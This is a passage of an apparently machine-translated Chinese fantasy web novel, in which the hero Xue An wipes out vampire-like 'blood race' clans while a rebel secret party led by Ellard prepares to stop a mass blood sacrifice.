    "No!" Johnson yelled in despair, his wings stirred, his speed instantly increased to a terrifying one hundred times the speed of sound, and he wanted to escape here.


    But he is fast, Xue An is faster.


    At the moment when his figure was about to disappear from the place.


    Xue An had appeared behind him, and then patted his shoulder gently.


    "So dishonest, let''s start with you first!"


    Stop talking.


    A red and white double lotus appeared on top of Jonson''s head, and two red and white flames instantly enveloped it.


    "Ahhhhh! Your lord, I was wrong, please let me go!"


    Xue An looked at Jonson, who was struggling painfully in the flames, and was not moved at all. At the same time, he smiled slightly at the many blood races who had been completely dumbfounded.


    "Sorry, the killing begins!"


    After all, Xue An waved casually.


    The sky full of red and white double lotus suddenly turned into a sky full of flames, and then enveloped the whole audience.


    Hall was so pale that he was almost frightened.


    But Aixi, who was standing by his side, didn''t show the slightest fear, but looked at this scene with excitement and admiration.


    "Really beautiful fireworks!"


    Hearing these words, this Hall was about to cry, and hurriedly shouted in horror: "My lord! It''s me! Please forgive me!"


    Xue An glanced at the two of them, and the sky full of flames avoided the corner where they were.


    In addition, the entire chamber hall has become a raging fire.


    Under the scorching and refining of the red and white flames, these blood races can only struggle and howl, but they have no ability to resist.


    In an instant.


    Screaming.


    The flames gradually dispersed.


    The kinsmen who had just filled the entire chamber hall had disappeared.


    Instead, there are blood drops floating in the air.


    The most dazzling one is the head of the Faulkner family, Jonson.


    Looking at the blood bead like a sky full of stars, Hall couldn''t even speak.


    But the brilliance in Ai Xi''s eyes became brighter.


    Because she finally understood what Xue An meant by harvesting before.


    But this did not make her feel a trace of fear, on the contrary, she was shaking with excitement.


    "It''s so beautiful! This is absolute power!"


    As soon as Xue An stretched out his hand blood beads gathered in the sky.


    "Good harvest! But it''s not enough!"


    Xue An''s current strength is no longer what it used to be, so naturally he won''t let An Yansheng swallow blood beads like he did on Earth.


    Xue An is ready to collect enough blood beads, and then refine a furnace of Heaven-defying Medicine to break the seal for Yan''er.


    But at this moment.


    Xue An suddenly raised his head and looked in a certain direction in the void. The light in his eyes was shining, and the sword formed by the condensed divine mind slashed across the void.


    puff!


    There was a muffled hum from the void, and then it seemed as if something had crashed and disappeared completely.


    Xue An looked at it playfully, and said lightly: "It''s running fast, forget it, I will let you go first this time, but next time, I hope you can have such good luck!"

 Chapter 872： The so-called overbearing, is to serve... also crush...

    After Xue An landed.


    Hall fell to his knees in awe.


    "Thank you for your mercy!"


    Ai Xi did not look afraid, but looked at Xue An with curiosity and admiration.


    "Who are you?"


    This question caused Hall, who was kneeling on the ground, to pull his heart together.


    This eldest lady is really not afraid of death.


    How dare to ask who this murder **** is?


    Isn''t it good to be alive?


    Xue An said indifferently: "Me? I am the one who came to destroy your blood race!"


    Heard this sentence.


    Hall was shocked, and then looked at Xue An in horror.


    He thought that Xue An was only having an enemy with the Faulkner family, but he didn''t expect that from Xue An''s words now, he was planning to deal with the whole blood clan.


    But is it possible?


    You know that Faulkner family is just the outermost layer of the Blood God Realm.


    There are at least two blood worlds inside, and the strong on each level are extremely tyrannical.


    The Blood God Realm at the center has a powerful presence that controls the origin of the blood race.


    Although this man is tyrannical, can he be the opponent of so many blood clan powerhouses?


    Hall was a little surprised.


    When Aixi heard the words, her eyes gleamed, and then she said in a very excited tone: "I like this purpose, please let me go with you!"


    Hall: "..."


    Xue An was noncommittal, "Go to the dungeon first!"


    "Yes!"


    There was such a big event in the chamber, but nothing was known in the dungeon.


    When Xue An entered the dungeon.


    The blood soldiers who were in charge of guarding were gathered around drinking.


    When I saw Xue An and Ai Xi and the others came together.


    These blood soldiers hurriedly stood up, "Miss, you are..."


    Xue An didn''t bother to talk nonsense with these guys and waved his hand.


    Dao Jian Mang shrouded this group of guys.


    Before they even had time to scream, they all turned into powder in an instant.


    Such a scene shocked all the blood slaves in the nearby cell.


    Then some people just cried bitterly.


    Obviously these jailers usually oppressed these blood slaves in all manners.


    But there are still many blood slaves looking at Xue An with horrified eyes.


    Xue An looked around the audience and said lightly: "The Faulkner family is gone, now you are all free!"


    As he said, Xue An suddenly stomped.


    There was a violent shaking in the dungeon.


    The cells used for detention were shattered.


    These blood slaves couldn''t believe their eyes, and they all looked at Xue An in a daze.


    Until a moment later.


    Someone came out tentatively.


    Someone took the lead, and the people behind gradually followed.


    quickly.


    Except for the blood slaves whose minds had collapsed, the rest all walked out of the cell, gathered together, and stared at Xue An and others blankly.


    Xue An''s gaze crossed the faces of these people, and then said lightly: "I know what you are thinking, but those are all gone, now you can go!"


    These blood slaves were still a little dazed.


    Hall took a step forward, "Your distinguished lord has already spoken, you will quickly leave here through the teleportation array! The Faulkner family no longer exists, understand?"


    These people just woke up like a dream, and some of them shed tears of excitement.


    Before becoming blood slaves, they might be looking forward to it.


    But after they truly became blood slaves, they understood what humiliation and despair meant.


    So when they were finally free now, these people all cried with joy, kneeling down and saluting at Xue An one after another, and then dispersed.


    quickly.


    The dungeon became empty, and only the "scrap" whose minds had collapsed remained in the cell.


    "My lord, these people..." Hall asked cautiously, for fear that Xue An would be offended by this matter again.


    Xue An''s eyes were as cold as frost, and with a wave of his hand, sword lights flew past, beheading all these people.


    It may be an illusion.


    Before these people died, they all showed a sense of relief.


    Maybe, death is the real gift for them!


    After doing all this, Xue An stood up in the sky and stood above the old castle of Faulkner, clenched his palms into a fist, and hit it in the air.


    boom.


    Just heard a loud noise.


    Under Xue An''s fist, this thousand-year-old castle built with various blood clan secret arts was like a fragile porcelain that broke and was completely razed to the ground.


    So far, the last trace of the Faulkner family''s existence in this world has also been eliminated.


    Hall, who looked at it by such means, had a chill in his heart, and his attitude towards Xue An became more and more respectful.


    It was Ai Xi who looked at all this with excitement.


    "It''s well demolished, I''ve seen this old castle a long time ago. It''s black holes everywhere, like a coffin!"


    In that way, it seemed that her house was not demolished.


    Xue An smiled faintly.


    "My lord, what are we going to do next?"


    "Kill all the blood here!"


    It was a simple six words, but it was filled with incredibly murderous aura.


    Hall swallowed hardly.


    But Ai Xi was extremely excited, "What about after killing all?"


    Xue Anyao pointed to the void, "Go to the next realm and continue to kill! Until the blood **** realm is completely crushed!"


    In the next few days, all the blood races here suffered a disaster.


    Xue An is like a bulldozer, rampaging through the world, crushing all the blood races thoroughly and turning them into blood beads.


    Among them, some who were dissatisfied and tried to resist were crushed.


    There were also those who were sincere and fearful, trying to beg for mercy to save their lives, and Xue An still crushed them.


    There was once a blood clan chief who screamed, "Why are we all surrendered and you still want to kill us?"


    In this regard, Xue An only said indifferently: "The so-called kingly way is to crush all dissatisfaction! But I am different!"


    "What I want is domineering! And domineering... even if I take it, I still run over!"


    "What''s more, what you consciously noble blood races have done to the human race is enough to kill you thousands of times!"


    In the process of destroying the blood race.


    Xue An saw many terrible images again.


    All this made Xue An full of strong killing intent towards these corrupt and evil blood races.


    Just a few daylight scenes.


    The blood races in this world were almost wiped out.


    There are only a few small families who have not been contaminated with blood and sins are still alive tremblingly and Xue An, because of wearing black clothes, is incomparable and incomparable, is privately called black-clothed killer gods by these blood races. .


    Even when the name was mentioned, these blood races did not dare to speak loudly, as if they were afraid that Xue An would kill him after hearing it.


    And Xue An''s harvest during this period is also quite rich.


    There were at least twenty or thirty blood beads of the second-generation blood family, as well as the blood beads of hundreds of blood dukes.


    But Xue An was not satisfied with this.


    Next, he turned his gaze to the deeper heaven and earth.


    But what he didn''t know was.


    Just when he was slaying aggressively here.


    His name has also spread into the inner blood realm.

 Chapter 873： Kinship secret party

    This is an extremely large room, but it doesn''t look empty at all, because there are countless huge bookshelves on the four walls.


    These bookshelves are nearly a hundred meters high, made of black profound wood, like a silent giant, standing silently in the darkness.


    In the center of this study, there is a huge desk that is so large that it is almost exaggerated.


    Adela was sitting behind the desk, reading the letter paper sent everywhere.


    He was so fast, he took a glance almost casually, and then took all the information on the letterhead in his heart, and then threw it away.


    These letterheads turned into a stream of light, flew into a certain bookshelf, and appeared where it should appear.


    On these bookshelves, countless letterheads have been placed.


    Adela read faster and faster, and the streamers started from the desk and extended to all the bookshelves, filling the entire study room.


    At this moment.


    In the corner of the study, a slender figure gradually emerged.


    This is a very sweet and charming woman, with long hair in a shawl, and a good temperament.


    The point is, from her double pupils, it can be seen that this is a human race.


    It seemed that he had sensed the appearance of the woman, and Edella, who was reading the letterhead, did not look up, and said with a chuckle: "Winnie, I hope you can bring me some good news this time! After all, I have received it these days. None of the news made me happy!"


    "Your Excellency, then I might disappoint you again!" Winnie smiled bitterly.


    "Oh, let''s talk, I hope it''s not too bad." Elad sighed.


    "The news just received, Giles, Eno and Sheila, these three families have also reported that their respective ancestors will be awakened in the near future." Winnie said with a serious expression.


    Hearing these words, Allard, who had been categorizing the letterhead, suddenly stopped the movement in his hand, and the expression on his face became solemn.


    "The three old monsters are going to wake up?"


    Winnie nodded, "Not only that, I also received a secret report that these three families will hold a blood sacrifice in the near future, so that their ancestors can recover their heyday strength after they wake up!"


    "It''s a nonsense! What kind of blood sacrifice are they going to do?" Allard''s face was full of anger.


    Winnie sighed, "I heard that these three families are preparing to carry out blood sacrifices to everyone in their respective cages, and this is not enough. They are also planning to buy blood slaves from other families!"


    boom!


    Ellard slapped the table in front of him with anger, but the table made of black mysterious wood was so hard that he didn''t even leave a handprint, but instead shook his hands sorely.


    Ellard stood up a little anxiously, pacing in the room and said in hatred.


    "This gang of decayed kinsmen who are about to die is nothing more than success. They always use foreign lives for blood sacrifices. For millions of years, they have never known to be flexible. Didn''t they find that the kinship nowadays has become more and more conservative? Has it fallen?"


    No wonder this Elad was so angry.


    Because he is the most famous rising star among the younger generation of the blood race in recent decades.


    This does not refer to his blood and strength.


    In fact, Ellard is noble in blood, but I don''t know why, the power of his blood is imprisoned, and his strength is not even as good as an ordinary Marquis.


    He became famous and was feared by many kinsmen of the older generation.


    It''s because he founded the blood secret party.


    Organizations that were not favored by any blood race at this initial stage have grown like wildfires in just a few decades.


    Now the strength is quite impressive.


    And all this is because this Elad has an almost abnormal brain and has a clear understanding of the status quo of the blood race.


    The history of kinship is extremely long.


    It even has a longer history than many races in the heavens and worlds combined.


    And Ellard found by looking through those extremely ancient scroll books that the original blood clan was extremely powerful, with power even spreading across the starry sky, and even one of the best clan.


    But later, as the fairy demon rose, the cultivators went rampant.


    The blood race began to decline rapidly, so that now it can only shrink in this small blood **** realm.


    All this puzzled Ellard.


    He wanted to find out why the blood clan declined so quickly, and figure out a way to return the blood clan to its former glory.


    In the end, through various methods, he probably learned some secrets of the year.


    Most of the reason why the blood clan has become like this is done by himself.


    Because of the original blood race, they would slaughter the lives of a planet at every turn for blood sacrifices.


    Such a brutal rule will certainly arouse the resistance of countless people.


    This finally caused the blood family that was once king to fall into the altar.


    After seeing Ellard, who was still a teenager, he was ashamed of what the ancestors did and vowed to change everything.


    But he soon discovered that for thousands of years, the blood clan has not changed in essence, brutality and **** run through, and even continue.


    That''s why he founded the Mi Party and wanted to change the status quo.


    Unexpectedly, after decades of hard work, everything just improved.


    These old-fashioned antiques actually started backing up again.


    This naturally made Erad hate it.


    And looking at the distressed Ellard, Winnie''s eyes flashed with worry.


    She is also a member of the secret party.


    And in the secret party, there are many human races who were once blood slaves like her, but were later rescued by Ellard.


    So Winnie was full of love and respect for Elad.


    It is precisely because of this that she understands how dangerous Ellard''s situation is now.


    The development and growth of the Mi Party has attracted dissatisfaction from the upper class of the blood family.


    It is hard to say that this collective blood sacrifice of the three major families was not an intentional demonstration.


    "No, I must stop this stupid and cruel behavior!" Allard stopped, his face full of determination.


    Winnie sighed secretly, she knew Elad wouldn''t sit back and watch, but this was probably a trap set by the three major families. UU reading


    "Leader, this time the entire upper class of the blood clan moved collectively, and I even heard that there are adults from the core blood realm. How are you going to stop it?"


    Core blood world!


    These four words made Ellard''s complexion extremely ugly.


    The blood world is divided into four layers, tightly wrapped like an onion.


    The outermost layer is the place where the Faulkner family who was destroyed by Xue An lived.


    The inner layer is where the secret party led by Ellard is active.


    And inside, there is also the existence of the core blood world.


    Inside, there are all blood veterans.


    Although the Blood God Realm is in the middle, few blood races have been able to enter the Blood God Realm for thousands of years.


    Therefore, many blood races have already assumed that the core blood world is the center of all blood races.

 Chapter 874： 1 cut everyone equality

    If the veteran blood clan of the core blood realm really took action in this matter, it would be really troublesome.


    "Anyway, this matter must be stopped! In fact, after becoming a blood clan above the Duke, there is no need to drink blood to improve strength. All this stems from the so-called noble traditions that are corrupt and disgusting!" Speaking of this, his face was full of helpless expressions.


    Winnie looked at Elad with a sad face, and said seriously: "Boss, you are here to direct everything, and I will take care of the rest, okay?"


    Hearing this, Ellard glanced at his slim hand, then smiled and shook his head.


    "Well Winnie, I know you are worried about me, but have you forgotten our secret party principles?"


    Winnie was silent for a moment, and said bitterly: "Everything is equal!"


    Ellard patted Winnie on the shoulder and smiled slightly, "Since everything is equal, how can I, the leader, shrink at this time?"


    "But..." Winnie felt anxious.


    Ellard waved his hand, and then sighed, "Even if this matter is clearly a trap, I have to go for a break, otherwise...our secret party principles will become empty talk!"


    Winnie lowered her head in silence.


    Ellard raised his head, looked at the huge star map hung above the dome of the study, and said lightly: "Winnie, do you know why I have to work hard to change the blood family?"


    "Because if the blood race wants to go out and take a place in this strong man, such as the forest, among the heavens and worlds, then you must first change yourself! Otherwise, everything will be empty talk! And this is the only opportunity for our blood race , If not, maybe even our blood clan will be completely destroyed!"


    Winnie looked up at the sky in surprise, "Boss, why do you say that?"


    Ellard''s eyes flickered, and he whispered softly: "After all, the blood owed by the blood race over the past tens of thousands of years has been too much. If there is a peerless power among them, then what is waiting in front of the blood race will be a disaster!"


    Winnie looked at the lonely man looking up at the stars, her eyes suddenly sore.


    How much responsibility does his shoulder carry?


    What''s sad is that even his people don''t understand and even hate him.


    What a irony!


    Just when there was silence in the study.


    suddenly.


    A letterhead gleaming with twelve blood lights appeared in the sky, and flew quickly in front of Allard.


    Ellard was shocked.


    Because the twelve blood lights sealed on it represent that this is a letter of the highest level.


    Ellard stipulated that such an expedited secret method could only be used if something earth-shattering happened.


    Ellard took the letterhead and opened it.


    Winnie on the side also became awe-inspiring.


    She naturally knew the importance of this kind of urgent letterhead.


    What happened?


    Could there be the return of the blood elders?


    Winnie was in a state of uncertainty.


    Ellard had finished reading the letterhead, then closed his eyes and began to meditate.


    Winnie didn''t dare to interrupt, she could only watch quietly from the side.


    Until after a while.


    Ellard opened his eyes with a wry smile, and then handed the letter paper to Winnie.


    "Look at it!"


    Winnie took it.


    Of course she doesn''t have the perverted reading ability as strong as Elad, so she can only read slowly.


    The information on the letterhead was simple, but as she read it, her face gradually paled.


    After reading it, Winnie asked in a panic: "This...is this true?"


    Ellard sighed, "This is the message from the people of the Secret Party planted in the outer blood world, absolutely reliable!"


    "But..." Winnie swallowed and said with difficulty, "Can anyone really wipe out all the families in the outer blood world in just a few days?"


    The reason why she was so gaffe was because the facts stated on the letterhead were a little too unbelievable.


    A black-clothed teenager of unknown origin destroyed the Faulkner family, the number one in the outer blood world, upon his birth.


    Then in the next few days, this young man rushed and trampled the blood races one after another into fans.


    During the whole process, no one can stop him.


    We must know that although the strength of the outer blood world is inferior to that of the inner blood world, it is not an easy one.


    How could Winnie not be shocked to be overthrown by one person?


    Ellard''s eyes flickered and he lowered his head and began to pace back and forth.


    Winnie knew that he would act like this when thinking about things, so she didn''t even dare to breathe.


    Suddenly, Ellard raised his head, the expression on his face seemed sad and happy.


    "If I''m not mistaken...this will be a tragic transformation of the blood race! I just hope we can get through it!" Ellard whispered softly.


    Winnie did not hear clearly, and couldn''t help asking: "Boss, what are you talking about?"


    "Oh! Nothing! Prepare things, we have to rush to these three big families before the blood sacrifice ceremony!"


    "Yes!"


    At this time Allard had recovered his calm, and even a cold smile appeared at the corner of his mouth.


    "Also, spread the news, remember, how to blow it out!"


    Although I don''t understand why Ellard did this, Winnie still obediently said, "Understood!"


    She turned around to prepare.


    Elad stood there, his eyes flickering.


    "You arrogant and decadent upper-level kinsmen, after hearing this news, you will definitely not believe it! Let me guess, when you know that this news is spread out from our secret party, will you laugh in disdain, and Too lazy to deal with it?"


    Speaking of this, Ellard sneered, turned back to the desk, and wrote a line on today''s page of the desk calendar.


    "Immortal by faith, redeemed by returning!"


    Soon, what happened in the outer blood world quickly spread throughout the world as the secret party deliberately spread.


    Because the Mi Party added fuel when spreading the news things have changed into countless versions.


    There are even rumors that a black-clothed young man came driving the dragon and destroyed the entire outer blood world in one blow.


    Such rumors naturally dismissed many families, thinking that they were all nonsense.


    The three major families headed by the inner blood world did not respond to this matter.


    Because they feel that such rumours are not even worth looking at.


    Eno Castle.


    Inokandin laughed, and then said in a joking tone: "I really admire the imagination of these people in the Secret Party for making up such a vivid story! It''s a pity that Ellard really thought we would believe it?


    As the eldest son of the Ino family, it is easy to find out the source of these rumors.


    So he soon learned that the spreaders behind these rumors were all from the secret party, and he laughed so proudly.

 Chapter 875： Desperate bureau

    "But why do I always feel that this matter is full of conspiracy? You know this Elad is not a fuel-efficient lamp!" said an aristocratic lady who was sitting across from Inokandin frowned.


    "Haha, my dear cousin Kleimanting, what about this incident even if it was a conspiracy made by Ellard? In the face of absolute power, all conspiracies and tricks are vain." Inokandin was confident. Said.


    Although this Clementine from the Sheila family still felt something wrong, he finally acquiesced.


    After all, what this Inokandin said is also true.


    "And soon we won''t have to worry about what trouble this Elad will cause us anymore!" Inokandin said lightly.


    "Oh? Why do you say that? What if he doesn''t show up during the blood sacrifice?"


    "Hehe, no matter whether he appears or not in this blood sacrifice, he is dead! If Elad does not appear, the secret party he created with his own hands will immediately fall apart, because their secret party uphold is extremely ridiculous The principle of equality and universal love!"


    "Under this principle, if Elad as the leader does not appear to stop this blood sacrifice, then these principles will all become a joke."


    "And if he appears..." Inokandin showed his two white fangs and sneered: "I will screw off his head by myself, and then look at this brain that is known as the smartest brain of the blood in a century. What is the difference!"


    Klei Manting sighed slightly, "How do you say this Elad can be regarded as an upper-class blood. I really don''t understand, why did he create a secret party to fight us?"


    "None of this is important. What''s important is that what he did has made my parents very bored and jealous, so he must die!"


    Clementine nodded.


    Inokandin continued: "Dear cousin, how are your preparations for the blood sacrifice of the Sheila family?"


    Claymanting said: "Hundreds of blood slaves in the cages we have have been driven together, probably... more than a billion souls! Just waiting for the last blood sacrifice!"


    "Very good! Our Eno family is almost finished. Just wait for the Giles family to be ready, and then we can perform a blood sacrifice to welcome the return of our ancestor!" This Eno Kangding was obviously very excited.


    But this Clementine always felt that there was a trace of haze deep in her heart.


    Will it really go so smoothly?


    Just when the entire inner blood realm was making a lot of noise because of all these things.


    In a deserted outskirts.


    The void suddenly began to vibrate violently.


    Then the figures of Xue An, Ai Xi, Hall, these three people suddenly appeared.


    "Is this the inner blood world?" Xue An looked around the world, feeling the strong blood energy in the air, and said lightly.


    "Yes, look at the eternal **** crescent moon in the sky. This is the difference between the inner and outer blood worlds. I even heard that in the core blood world, the blood moon is in the shape of a full moon." Ai Xi was excited. Pointing to the sky and said.


    And Hall looked at everything around him in horror.


    He didn''t think about coming with Xue An.


    But helpless.


    Ai Xifei wanted to follow, so he had to follow.


    But what he didn''t expect was that Xue An would be so domineering.


    It didn''t even pass through the passage connecting the inner and outer blood realms, but directly shattered the space and passed through.


    This kind of strength gave Hall a strange thought.


    Could it be that he could really wipe out all the blood races in this blood world?


    "My lord, what do we do next?" Hall asked.


    Xue An said calmly: "Which family is the most powerful in this blood world?"


    "I know that in this inner blood realm, there are three families side by side, known as the Big Three! They are Yinuo, Sheila, and Giles!"


    "Good, then start with these three families!"


    After half a day.


    Somewhere in the blood town.


    When Xue An heard about the upcoming blood sacrifice ceremony, an extremely cold killing intent flashed in his eyes.


    "My lord!" Hall shouted in horror.


    Xue An''s killing intent gradually converged, "Let''s go! Go to Yinuo City first!"


    In Yinuo City, the main altar of this blood sacrifice was there.


    Just when the three of them went to Yinuo City.


    Elad and Winnie are also on their way to Inno City.


    Because of Ellard''s special status, he shouldn''t be too ostentatious along the way. They all marched quietly, dressed as the little nobles who went to Inno City to meet.


    There are many such blood races, so the soldiers who interrogated them didn''t care much.


    Finally, on this day.


    Allard and Winnie rushed to Eno City and entered a hotel run by the secret party.


    "Leader!" The secret party here was very excited after seeing Elad personally come, and they gave salutes one after another.


    Elad smiled, "Well, now that you have joined the secret party, you are a brother. Why do you have to be so polite? Get up!"


    "Yes!"


    "What''s happening in Inno City recently?"


    "Looking back to the chief, now the eldest son of the Inno family is sitting in this city personally, and the eldest daughter of the Nashira family, Clementine, has also come. All forces are operating, preparing for the blood sacrifice in a few days. !"


    Ellard''s eyes flickered and nodded, "Got it!"


    "Chief, how about we do it now? Otherwise, it will be even more difficult if the three big families mobilize their staff and want to destroy it!" Winnie said.


    Illard shook his head, "No! Because the people who are about to be sacrificed in blood are all the people in the prisons of the three major families. Only they know where they are. We can''t interfere now!"


    Winnie stopped speaking, but the worry in her eyes grew thicker.


    Because the combined strength of the three major families is so terrifying, if you really wait until the blood sacrifice ceremony, the possibility of success will be even more slim.


    But I don''t know why this leader is so resolute. Isn''t he aware of this?


    Winnie felt heavy in her heart.


    The other secret parties in the room are also a little silent They can naturally see the current situation.


    But since he became a member of the secret party, he was fully prepared for sacrifice, so he didn''t have too much fear.


    It was Adela, his face full of calmness, who was about to say something.


    At this moment, just listen to the sound coming from the front hall.


    "Is there anyone? Why doesn''t this hotel even have a guy?"


    The people who were discussing things in the back room were all taken aback.


    Because the city of Yinuo is now heavily guarded, could it be that news has been leaked that people from three major families have come?


    Several blood races with high cultivation bases ran across, rushed to the door, observed through the crack of the door, and then heaved a sigh of relief.


    "It''s okay, it looks like they belong to three kinsmen in small places, so they should be here to stay!"

 Chapter 876： Tentative

    Winnie and Adela also looked through the crack in the door.


    I saw two men and a woman.


    It was the woman who had just spoken.


    I saw this woman is tall and beautiful, but she looks a little rustic in her dress.


    The two men are one old and one young.


    The young man seemed to be just a teenager, standing there in silence, his eyes hidden in the darkness.


    The elder was a cowering young man.


    This kind of combination looks like a little nobleman from some small place.


    So many people took a sigh of relief.


    Only Winnie, out of women''s keen intuition, always thinks these three people are a little weird, but it can''t be said that they are strange.


    At the same time, the guy in charge of the hotel went out to greet the three.


    "Yeah, there are people, I thought they were all dead!" The woman said with an impulsive expression, showing a noble girl with little education to the fullest.


    "I''m really sorry, our shopkeeper just asked us to go back to discuss things, is it a hotel?" The guy said with a smile.


    The woman still wants to talk.


    The boy said lightly: "Yes!"


    "That''s good! Please follow me!"


    Soon, this guy arranged a place for them.


    When the buddy retired, there were only three people left in the house.


    The middle-aged man took a breath.


    "My lord, can you see it?"


    That''s right.


    These three are naturally Xue An and Hall Aisi.


    Xue An nodded slightly, "This hotel... is not easy!"


    "What? Why didn''t I see anything?" Ai Xi asked, blinking.


    Hall smiled bitterly, "I also accidentally caught a glimpse of that guy''s waist that seemed to have a weird mark. Although the mark is very subtle, it is the badge of the secret party!"


    Secret party?


    Ai Xi was stunned slightly, and then a little stunned.


    "It''s the secret party whose mission is to overthrow the upper-level blood?"


    Hall was startled, "Miss, keep your voice down, don''t let people hear you!"


    Xue An said calmly: "It''s okay, I have set up a shielding circle in this room, and people outside can''t hear it!"


    As Hall said, when he was just in the hall, he perceives something weird in the hall through his spiritual thoughts.


    But because of the magic circle that shields his spiritual thoughts, he can''t see exactly what''s inside.


    But through what Hall said.


    Xue An can be sure that this hotel should be a stronghold of the secret party.


    And wait for a closer look at what this secret party does.


    Xue An couldn''t help being a little surprised.


    It seems that this secret party is quite progressive.


    Hall smiled bitterly at this time: "Because of this, the secret party is not tolerated by the upper-class blood at all, and even to the point of incompatible with fire and water, and this blood sacrifice ceremony, the secret party will definitely do something!


    Xue An nodded non-committal.


    at the same time.


    In a hidden house in the hotel.


    Winnie was listening to her buddy''s report with a solemn face.


    "Master Winnie, we just eavesdropped on that room through various methods, but we all failed!"


    "Failed?"


    "Yes! Even the eavesdropping arrays arranged in the room have all failed!"


    Winnie''s eyes grew harsher when she heard it.


    These three people are really not ordinary people.


    Could it be the killer sent by the three big families? Are you here to wait for an opportunity to deal with the leader?


    No, all dangers must be suppressed in the cradle.


    Thinking of this, Winnie stood up and said: "I''ll try it!"


    "But Master Winnie..."


    "Needless to say, don''t tell the chief about this!"


    After all, Winnie went out of the room and went straight to the room where Xue An lived.


    But when she was about to knock on the door, the door opened.


    Xue An stood in front of the door, looking at this woman who could not conceal the fact that she was a human race even though she changed her pupil color with secret techniques, and smiled slightly.


    "Is there a problem?"


    "Ah... it''s nothing, I''m the shopkeeper of this hotel, I just waited a few people slowly, I feel very sorry, I came here to apologize!"


    For some reason, when she saw Xue An''s smile, she felt cold all over her body. She forgot what she had just thought on the road, and she could only find an excuse temporarily.


    Xue An smiled, "The shopkeeper is too polite, please come in and sit down!"


    Xue An turned sideways and let out the road behind the door.


    Winnie swallowed secretly, but she didn''t change any expression on the surface, and said with a small smile, "If that''s the case, then I''ll bother!"


    With that, she walked into this room.


    The layout inside is as usual, without any changes.


    But there is no figure of that man and woman, only Xue An.


    "Hey, I remember your Excellency also has two companions. What did they do?"


    "Oh! They feel bored, so they go shopping on the street and buy something by the way!" Xue An said lightly, leaning on the door frame.


    Winnie smiled, then babbled a few more words, and then said quite naturally: "I take the liberty to ask, I wonder what the three of you are planning to do in Eno City?"


    Xue An did not speak, but stared at Winnie quietly.


    Winnie felt that her palms were getting damp gradually, and her heartbeat speeded up a lot, but she still looked at Xue An with a smile on her face.


    It wasn''t until Winnie felt that her smile was stiffening that Xue An lowered her eyes and said lightly: "I''m here to meet a few friends and deal with some things!"


    "Oh? Didn''t it come because of the blood sacrifice ceremony?" Winnie panicked and made a surprise attack.


    She believes that if these people are really members of the three major families, they will definitely show their feet under the sudden question of her.


    But she miscalculated.


    Xue An didn''t even move his eyelids, but looked at Winnie with a smile.


    "You also know about blood sacrifices?"


    Winnie gave a strong smile, "Hehe, how about the current Yinuo City, who doesn''t know the blood sacrifice in a few days?"


    At this moment, there was a knock on the door.


    Then came an indifferent boy.


    "Excuse meIs my cousin in this room?"


    Hear this voice.


    Winnie, who had wanted to ask about it, was startled and hurriedly stood up, and then opened the door.


    "Biao...cousin, why are you here?" Winnie looked at Ellard behind the door and smiled forcefully.


    Elad smiled slightly, "I heard the guys say that you came to apologize to a few guests, so naturally you followed!"


    "Okay, it''s okay now! I have already apologized, and several guests have forgiven me, let''s go!" Winnie wanted to leave.


    At this time, Ellard raised his head and looked at Xue An not far away, leaning on the door frame with his shoulders, so that he could look at all of this in time, and smiled slightly.


    "Hello there!"


    Xue An also smiled and nodded slightly.


    "You''re good too!"

 Chapter 877： Hope its you

    At this moment, Ai Xi and Hall who were out came back.


    Seeing this scene, Ellard slightly bent over at Xue An, "Dear guest, welcome your arrival, I will retire first!"


    After that, he said to Winnie: "Let''s go!"


    Then he turned and left.


    Xue An looked at the back of him away, and the corners of his mouth raised slightly, revealing a wistful smile.


    "My lord, what do these two people do?" Hall asked suspiciously.


    Xue An said calmly: "It''s okay, just come over to say hello!"


    Hall still had some doubts, but seeing Xue An''s expression, he swallowed and dared not ask any more.


    Winnie lowered her head and followed Elad back to the room with a shame on her face.


    "Chief, I''m sorry! But I am really worried that these people will be sent by the three major families, so I want to test it first!"


    "Okay! Don''t say anything." Allard said lightly.


    Winnie was silent.


    "Don''t act so recklessly in the future! Otherwise, something big will happen, understand?"


    "Yes!"


    "Go down!"


    "Huh?" Winnie thought she had misheard, and looked up at Elad blankly.


    "Hmm? Go and rest!" Elad said with a smile.


    "But boss, are you really not angry with me?" Winnie asked cautiously.


    Ellard couldn''t laugh or cry, then slammed his face, "Do you really want to make me angry and happy?"


    "Ah, no, no! I''ll go now!" Seeing that Elad was really not angry, Winnie let go of her hanging heart, and then turned away happily.


    Ellard watched her back disappear behind the door, then leaned on the chair, looking up at the ceiling, in a daze.


    I don''t know how long it took before he laughed and whispered softly.


    "Hope... it''s you!"


    As the blood sacrifice date approaches.


    The entire Inno City became more and more heavily guarded.


    But this still can''t stop the enthusiasm of all blood races here.


    After all, it is an extremely rare opportunity to witness the awakening of the three legendary first-generation blood races.


    Therefore, the entire Yinuo City became more and more lively.


    at last.


    on this day.


    A kinship team that was so large that it was almost invisible rushed to Yinuo City.


    The unfolding blood wings even covered the sky.


    In the middle of the team, there is a car wheel, and there is a strange family crest on top of the car wheel.


    "It''s the Giles family!"


    "The Giles family is here, this blood sacrifice will begin soon!"


    Many blood races are excited.


    While in the hotel, Xue An, who was sitting cross-legged in the room, did not open his eyes, but a murderous smile appeared on the corner of his mouth.


    That night.


    In the Eno Castle.


    A high-profile private dinner is underway.


    As the host, Inokandin entertains the Giles family from afar.


    Clementine, the eldest daughter of the Sheila family, was present as an accompanying guest.


    Inokandin took the lead in raising the cup and nodding at the Vlad, known as the Piercer, across the long table.


    "Dear Sir Vlad Giles, you are welcome!"


    Vlad was wearing a gown dyed with blood, and his face was handsome, but his eyes were filled with jealousy.


    As the eldest son of the Giles family, his blood is extremely noble.


    But his unique and cruel habit makes him a unique existence among the blood clan.


    The nickname of this piercer is the best example.


    Such people, even as expensive as Inokandin, are not willing to provoke too much.


    After seeing Inokandin raise his glass to himself.


    The Vlad smiled slightly, and then said in a hoarse voice: "Your Excellency Konding, you are so kind!"


    As he said, he turned his gaze to Clementine, who was aside, "Beautiful Ms. Clementine, don''t I deserve to raise your glass to salute?"


    Clementine''s face paled, and a look of fear flashed deep in his eyes.


    For such a perverted pervert, even if she is the eldest daughter of the Sheila family, she has to bow her head.


    "Sorry, Lord Vlad, I just lost my mind!"


    With that said, Clementine raised his glass to greet Vlad.


    Vlad twitched the corners of his mouth, revealing a grinning smile.


    "I haven''t seen it for decades, Ms. Kleimanting has become more and more beautiful. I wonder if you are interested in testing with me whether you can produce blood?"


    Klemanting''s complexion changed from white to red, and an angry look appeared in his eyes.


    At this moment, Inokandin hurriedly came out to complete the game.


    "All right, Lord Vlad, I know you are joking with my cousin, let''s discuss something serious!"


